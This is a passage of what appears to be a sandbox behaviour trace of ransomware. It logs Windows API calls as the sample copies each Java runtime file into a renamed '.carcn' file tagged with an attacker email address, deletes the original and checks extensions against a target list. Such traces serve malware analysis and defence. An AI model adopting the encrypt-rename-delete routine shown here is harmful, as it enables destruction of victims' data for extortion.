Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.500] lstrlenW (lpString=".doc") returned 4 [0267.500] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0267.500] lstrlenW (lpString=".docx") returned 5 [0267.500] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0267.500] lstrlenW (lpString=".pdf") returned 4 [0267.500] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0267.500] lstrlenW (lpString=".xls") returned 4 [0267.500] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0267.500] lstrlenW (lpString=".xlsx") returned 5 [0267.500] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0267.500] lstrlenW (lpString=".ppt") returned 4 [0267.500] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0267.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.500] lstrlenW (lpString=".zip") returned 4 [0267.500] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0267.500] lstrlenW (lpString=".rar") returned 4 [0267.500] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0267.500] lstrlenW (lpString=".bz2") returned 4 [0267.500] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0267.500] lstrlenW (lpString=".7z") returned 3 [0267.500] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0267.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.500] lstrlenW (lpString=".dbf") returned 4 [0267.500] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.501] lstrlenW (lpString=".1cd") returned 4 [0267.501] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.501] lstrlenW (lpString=".jpg") returned 4 [0267.501] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.501] lstrlenW (lpString=".doc") returned 4 [0267.501] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0267.501] lstrlenW (lpString=".docx") returned 5 [0267.501] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0267.501] lstrlenW (lpString=".pdf") returned 4 [0267.501] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0267.501] lstrlenW (lpString=".xls") returned 4 [0267.501] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0267.501] lstrlenW (lpString=".xlsx") returned 5 [0267.501] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0267.501] lstrlenW (lpString=".ppt") returned 4 [0267.501] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0267.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.501] lstrlenW (lpString=".zip") returned 4 [0267.501] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0267.502] lstrlenW (lpString=".rar") returned 4 [0267.502] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0267.502] lstrlenW (lpString=".bz2") returned 4 [0267.502] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0267.502] lstrlenW (lpString=".7z") returned 3 [0267.502] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0267.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.502] lstrlenW (lpString=".dbf") returned 4 [0267.502] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0267.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.502] lstrlenW (lpString=".1cd") returned 4 [0267.502] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0267.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0267.502] lstrlenW (lpString=".jpg") returned 4 [0267.502] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0267.502] lstrcmpiW (lpString1=".template", lpString2=".carcn") returned 1 [0267.502] lstrlenW (lpString="jmxremote.password.template") returned 27 [0267.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.504] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=2856) returned 1 [0267.504] CloseHandle (hObject=0x54c) returned 1 [0267.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0267.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.505] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.505] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.505] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.505] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0267.512] GetLastError () returned 0x0 [0267.512] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xb28, lpOverlapped=0x0) returned 1 [0267.543] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xb30, lpOverlapped=0x0) returned 1 [0267.620] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.620] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10a, lpOverlapped=0x0) returned 1 [0267.620] SetEndOfFile (hFile=0x554) returned 1 [0267.620] CloseHandle (hObject=0x554) returned 1 [0267.628] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.628] SetEndOfFile (hFile=0x54c) returned 1 [0267.635] CloseHandle (hObject=0x54c) returned 1 [0267.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.636] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0267.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.637] lstrlenW (lpString=".doc") returned 4 [0267.637] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0267.637] lstrlenW (lpString=".docx") returned 5 [0267.637] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0267.637] lstrlenW (lpString=".pdf") returned 4 [0267.637] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0267.637] lstrlenW (lpString=".xls") returned 4 [0267.637] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0267.637] lstrlenW (lpString=".xlsx") returned 5 [0267.637] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0267.637] lstrlenW (lpString=".ppt") returned 4 [0267.637] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0267.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.637] lstrlenW (lpString=".zip") returned 4 [0267.637] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0267.637] lstrlenW (lpString=".rar") returned 4 [0267.637] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0267.637] lstrlenW (lpString=".bz2") returned 4 [0267.637] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0267.638] lstrlenW (lpString=".7z") returned 3 [0267.638] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0267.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.638] lstrlenW (lpString=".dbf") returned 4 [0267.638] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0267.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.638] lstrlenW (lpString=".1cd") returned 4 [0267.638] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0267.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.638] lstrlenW (lpString=".jpg") returned 4 [0267.638] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0267.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.638] lstrlenW (lpString=".doc") returned 4 [0267.638] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0267.638] lstrlenW (lpString=".docx") returned 5 [0267.638] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0267.639] lstrlenW (lpString=".pdf") returned 4 [0267.639] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0267.639] lstrlenW (lpString=".xls") returned 4 [0267.639] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0267.639] lstrlenW (lpString=".xlsx") returned 5 [0267.639] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0267.639] lstrlenW (lpString=".ppt") returned 4 [0267.639] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0267.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.639] lstrlenW (lpString=".zip") returned 4 [0267.639] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0267.639] lstrlenW (lpString=".rar") returned 4 [0267.639] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0267.639] lstrlenW (lpString=".bz2") returned 4 [0267.639] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0267.639] lstrlenW (lpString=".7z") returned 3 [0267.639] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0267.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.639] lstrlenW (lpString=".dbf") returned 4 [0267.640] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0267.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.640] lstrlenW (lpString=".1cd") returned 4 [0267.640] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0267.640] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0267.640] lstrlenW (lpString=".jpg") returned 4 [0267.640] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0267.640] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0267.640] lstrlenW (lpString="management.properties") returned 21 [0267.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.641] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=14630) returned 1 [0267.641] CloseHandle (hObject=0x54c) returned 1 [0267.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0267.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.641] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.641] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.642] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.642] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0267.642] GetLastError () returned 0x0 [0267.642] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x3926, lpOverlapped=0x0) returned 1 [0267.706] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x3930, lpOverlapped=0x0) returned 1 [0267.710] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.710] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfe, lpOverlapped=0x0) returned 1 [0267.710] SetEndOfFile (hFile=0x530) returned 1 [0267.710] CloseHandle (hObject=0x530) returned 1 [0267.716] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.716] SetEndOfFile (hFile=0x54c) returned 1 [0267.720] CloseHandle (hObject=0x54c) returned 1 [0267.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.720] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0267.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.721] lstrlenW (lpString=".doc") returned 4 [0267.721] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0267.721] lstrlenW (lpString=".docx") returned 5 [0267.722] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0267.722] lstrlenW (lpString=".pdf") returned 4 [0267.722] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0267.722] lstrlenW (lpString=".xls") returned 4 [0267.722] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0267.722] lstrlenW (lpString=".xlsx") returned 5 [0267.723] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0267.723] lstrlenW (lpString=".ppt") returned 4 [0267.723] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0267.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.723] lstrlenW (lpString=".zip") returned 4 [0267.723] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0267.723] lstrlenW (lpString=".rar") returned 4 [0267.723] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0267.723] lstrlenW (lpString=".bz2") returned 4 [0267.723] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0267.723] lstrlenW (lpString=".7z") returned 3 [0267.723] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0267.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.723] lstrlenW (lpString=".dbf") returned 4 [0267.723] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0267.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.723] lstrlenW (lpString=".1cd") returned 4 [0267.723] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0267.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.723] lstrlenW (lpString=".jpg") returned 4 [0267.723] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0267.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.723] lstrlenW (lpString=".doc") returned 4 [0267.724] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0267.724] lstrlenW (lpString=".docx") returned 5 [0267.724] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0267.724] lstrlenW (lpString=".pdf") returned 4 [0267.724] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0267.724] lstrlenW (lpString=".xls") returned 4 [0267.724] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0267.724] lstrlenW (lpString=".xlsx") returned 5 [0267.724] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0267.724] lstrlenW (lpString=".ppt") returned 4 [0267.724] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0267.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.724] lstrlenW (lpString=".zip") returned 4 [0267.724] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0267.724] lstrlenW (lpString=".rar") returned 4 [0267.724] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0267.724] lstrlenW (lpString=".bz2") returned 4 [0267.724] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0267.724] lstrlenW (lpString=".7z") returned 3 [0267.724] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0267.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.724] lstrlenW (lpString=".dbf") returned 4 [0267.724] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0267.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.725] lstrlenW (lpString=".1cd") returned 4 [0267.725] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0267.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0267.725] lstrlenW (lpString=".jpg") returned 4 [0267.725] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0267.725] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".carcn") returned -1 [0267.725] lstrlenW (lpString="meta-index") returned 10 [0267.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.726] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=2126) returned 1 [0267.726] CloseHandle (hObject=0x54c) returned 1 [0267.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0267.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0267.727] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.727] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0267.741] GetLastError () returned 0x0 [0267.741] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x84e, lpOverlapped=0x0) returned 1 [0267.761] WriteFile (in: hFile=0x524, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x850, lpOverlapped=0x0) returned 1 [0267.762] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.762] WriteFile (in: hFile=0x524, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe8, lpOverlapped=0x0) returned 1 [0267.762] SetEndOfFile (hFile=0x524) returned 1 [0267.763] CloseHandle (hObject=0x524) returned 1 [0268.076] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.076] SetEndOfFile (hFile=0x54c) returned 1 [0268.078] CloseHandle (hObject=0x54c) returned 1 [0268.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.079] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0268.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.080] lstrlenW (lpString=".doc") returned 4 [0268.080] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0268.080] lstrlenW (lpString=".docx") returned 5 [0268.080] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0268.080] lstrlenW (lpString=".pdf") returned 4 [0268.080] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0268.080] lstrlenW (lpString=".xls") returned 4 [0268.080] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0268.080] lstrlenW (lpString=".xlsx") returned 5 [0268.080] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0268.080] lstrlenW (lpString=".ppt") returned 4 [0268.080] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0268.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.080] lstrlenW (lpString=".zip") returned 4 [0268.080] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0268.080] lstrlenW (lpString=".rar") returned 4 [0268.081] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString=".bz2") returned 4 [0268.081] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString=".7z") returned 3 [0268.081] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0268.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0268.081] lstrlenW (lpString=".dbf") returned 4 [0268.081] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0268.081] lstrlenW (lpString="C:\\Program 